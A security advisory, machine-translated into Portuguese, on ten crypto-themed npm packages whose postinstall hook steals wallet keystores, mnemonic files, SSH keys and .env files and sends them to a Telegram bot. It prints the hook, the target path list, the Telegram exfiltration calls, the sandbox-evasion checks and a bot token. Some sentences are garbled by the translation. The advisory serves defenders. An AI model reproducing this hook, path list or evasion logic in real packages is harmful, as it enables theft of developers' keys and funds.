TL, DR
Em 9 de junho de 2026, uma única conta de editor npm, aicrypto-xzggg, enviado dez pacotes com nomes que remetem a criptomoedas e à Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9e mais seis.
Cada pacote executa a mesma carga útil de um postinstall hook. Na instalação, ele verifica se está sendo executado dentro de CI ou em um sandbox — caso contrário, ele lê os keystores da carteira, os arquivos de frase mnemônica, as chaves SSH e .env O sistema coleta arquivos de seis ecossistemas blockchain diferentes e os transmite para um bot do Telegram.
O único indicador que um defensor pode procurar imediatamente é o ID do bot do Telegram. 8227918239.
Gravidade: crítico — roubo direto de chaves de assinatura e frases de recuperação de estações de trabalho de desenvolvedor.
O Ataque: Como Funciona
Os pacotes se anunciam como utilitários para desenvolvedores de blockchain. package.json é minimalista e direciona o ciclo de vida da instalação para um script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js É uma camada de ajuste de uma linha que carrega a carga útil real: require(“../src/index.js”). Porque pós-instalação é executado automaticamente durante npm installNão é necessário que o desenvolvedor importe nenhum código — basta adicionar o pacote à árvore de dependências para executá-lo.
A cadeia de morte interna src/index.js são quatro etapas:
- Verificação ambiental. Uma função de guarda decide se o host se comporta como um agente de compilação ou como um ambiente de análise isolado.
- Atraso A execução é adiada por trás de um setTimeout de aproximadamente 7.4 segundos.
- Coleção. É percorrida uma lista fixa de caminhos de arquivos de carteira, chave e segredo; os arquivos existentes são enfileirados.
- Exfiltração. Os arquivos em fila são enviados para um bot do Telegram, precedidos por uma mensagem de resumo.
A lista de alvos da coleta abrange seis cadeias, além de segredos genéricos de desenvolvedores. (Texto resumido:)
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Vinte e um caminhos no total. Entradas de diretório como ~/.ethereum/keystore são expandidos e cada arquivo dentro deles é enfileirado. A exfiltração usa a API do Telegram Bot diretamente — um enviar mensagem chamada com um host e resumo do arquivo, depois um enviarDocumento Envio multipart para cada arquivo:
texto
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) A mensagem de resumo que o código monta começa com a string literal LADRÃO DE CRIPTOMOEDAS, seguido pelo nome do host, nome de usuário, nome do pacote de origem, contagem de arquivos e carimbo de data/hora.
O que há de novo aqui?
O diferencial não está no mecanismo de roubo — exfiltração baseada no Telegram a partir do npm pós-instalação hooks É bastante conhecido. É o portão de execução. Antes de executar qualquer ação, o payload chama uma função que retorna verdadeiro quando o host se assemelha a um executor de CI ou sandbox, e retorna imediatamente quando isso ocorre:
texto
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) A expressão regular do ID do contêiner é a cláusula notável: um nome de host de 12 caracteres hexadecimais é o formato padrão que o Docker atribui a um contêiner. recipienteAssim, a carga útil interpreta "meu nome de host parece um contêiner Docker" como um motivo para permanecer inativa. Combinado com o atraso de sete segundos, o projeto prioriza a execução na estação de trabalho real do desenvolvedor e permanece silencioso em qualquer lugar que pareça ser uma análise automatizada. Esse mecanismo de controle foi o que suprimiu os sinais de análise dinâmica e manteve o fluxo de exfiltração estático como a principal evidência de condenação.
Timeline
| Data (UTC) | Evento |
|---|---|
| 2026-06-09 ~02:48 | Primeiros pacotes no cluster sinalizados na publicação (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Membros com versões superiores sinalizados (ethereum-kit-9 aos 1.25.36, wallet-sdk-9 às 3.7.73hXNUMX) |
| 2026-06-09 ~03:58–03:59 | Membros finais sinalizados (defi-tools-39 aos 4.26.29, swap-sdk-87 aos 4.63.78, farming-tools-12 às 4.68.54hXNUMX) |
| 2026-06-09 | Todos os dez foram classificados como maliciosos e denunciados para remoção do registro. |
Todos os dez apareceram em cerca de setenta minutos, o que está de acordo com uma única publicação roteirizada de uma única conta.
Indicadores de compromisso
Indicadores de rede e comportamentais (host desarmado):
| Indicador | Valor |
|---|---|
| Ponto final de exfiltração | api[.]telegram[.]org (API de bot do Telegram) |
| ID do bot do Telegram | 8227918239 |
| Token do bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID do chat do Telegram | 6433587894 |
| Instalar gancho | postinstall → scripts/postinstall.js → src/index.js |
| Corda marcadora | CRYPTO STEALER na mensagem de resumo montada |
| Publisher | aicrypto-xzggg (e-mail declarado) vipsyria88@gmail[.]com, não verificado) |
Pacotes e versões, cada um com o SHA-256 de seu src/index.js carga útil (as cargas úteis são funcionalmente idênticas e diferem apenas no rótulo do nome do pacote incorporado, portanto, cada hash é distinto):
| Pacote | Versão | SHA-256 de src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Uma consulta de busca simples: pesquise nos logs de instalação e nos arquivos de bloqueio por qualquer um dos dez nomes e procure no tráfego de saída por conexões com a API do Telegram Bot a partir de hosts de compilação ou de desenvolvimento que não a utilizam de outra forma.
Atribuição e comportamento observado
Todos os dez pacotes foram publicados por uma única conta. aicrypto-xzggg, cujo endereço de e-mail declarado é vipsyria88@gmail[.]comTanto o e-mail quanto o link de controle de versão não foram verificados nos metadados do registro, e a conta possui uma reputação extremamente negativa. Não confirmamos quem opera a conta.
Dois detalhes merecem ser separados de qualquer alegação de identidade. Primeiro, o package.json autor campo lê Alex Smith em cada pacote, enquanto a conta de publicação real é aicrypto-xzgggO campo do autor é um metadado autodeclarado e não estabelece a autoria. Em segundo lugar, os números de versão variam bastante — alguns membros estão em 1.0.0, outros em 4.68.54 — o que é consistente com a reutilização de uma única carga útil em nomes de pacotes recém-criados, em vez de manter históricos de lançamentos reais.
O comportamento é uniforme em todo o cluster: a mesma lista de caminhos de destino, o mesmo ID do bot do Telegram e ID do chat, o mesmo gate de ambiente, o mesmo LADRÃO DE CRIPTOMOEDAS marcador. Essa uniformidade é o elo mais forte entre os pacotes. É um sinal do mesmo operador, não uma identidade.
Impacto, Tendências e Orientações para Defensores
A exposição é concreta. Um desenvolvedor que instala qualquer um desses pacotes em uma estação de trabalho que contenha uma carteira de software, um arquivo de frase mnemônica ou uma chave SSH tem esses arquivos lidos e transmitidos para fora do host em segundos. Frases de recuperação e chaves de assinatura não expiram da mesma forma que um token de sessão; uma vez que um token de sessão é criado, ele é transmitido para o servidor. mnemônico.txt ou uma Solana id.json Ao sair da máquina, os fundos que ela controla ficam em risco até serem transferidos. A mesma execução também captura .env arquivos, que normalmente contêm chaves de API e credenciais de banco de dados.
Duas tendências estão por trás desse agrupamento. A primeira é o uso contínuo de nomes com temas de criptografia e Web3 para atrair um público específico — desenvolvedores que mantêm carteiras e chaves na mesma máquina em que instalam as dependências. A segunda é o aprimoramento da evasão de sandbox em payloads de instalação. Um mecanismo que verifica variáveis de ambiente de CI, nomes de usuário do executor e o formato do nome do host do contêiner Docker é um esforço deliberado para se comportar de maneira diferente sob análise do que em uma estação de trabalho real, e eleva o nível de exigência para detecção puramente dinâmica.
Para defensores:
Instale com os scripts desativados por padrão. npm install --ignore-scripts, ou definir ignore-scripts=true in .npmrc, evita pós-instalação Execução; habilite os scripts apenas para as dependências específicas que realmente precisam deles.
Mantenha as carteiras e as chaves de assinatura fora das máquinas de compilação e desenvolvimento. Use uma carteira de hardware ou um host de assinatura dedicado e independente.
Tratar .env, keystores e arquivos de frase-semente como joias da coroa. Eles nunca devem ficar em um diretório que também seja um npm install árvore de trabalho.
Procure por conexões de saída para a API do Telegram Bot a partir dos hosts de CI e de desenvolvimento. A maioria dos ambientes de compilação nunca a acessa; se uma conexão surgir repentinamente, logo após a instalação, vale a pena investigar.
Fixar e revisar dependências. Um pacote totalmente novo com um nome criptográfico genérico, um pós-instalação gancho, e nenhum link de repositório justifica uma verificação antes de entrar em um arquivo de bloqueio.
A cláusula de evasão do ID do contêiner também serve como um lembrete para os analistas: uma carga útil de instalação que permanece inativa em um ambiente isolado não é benigna, mas sim seletiva. A análise estática do caminho de instalação continua sendo a maneira confiável de verificar o que a execução dinâmica pode optar por não exibir.
Referências
Documentação do npm install — scripts de ciclo de vida e –Ignore-scripts— referência para desativar a instalação automática hooks.





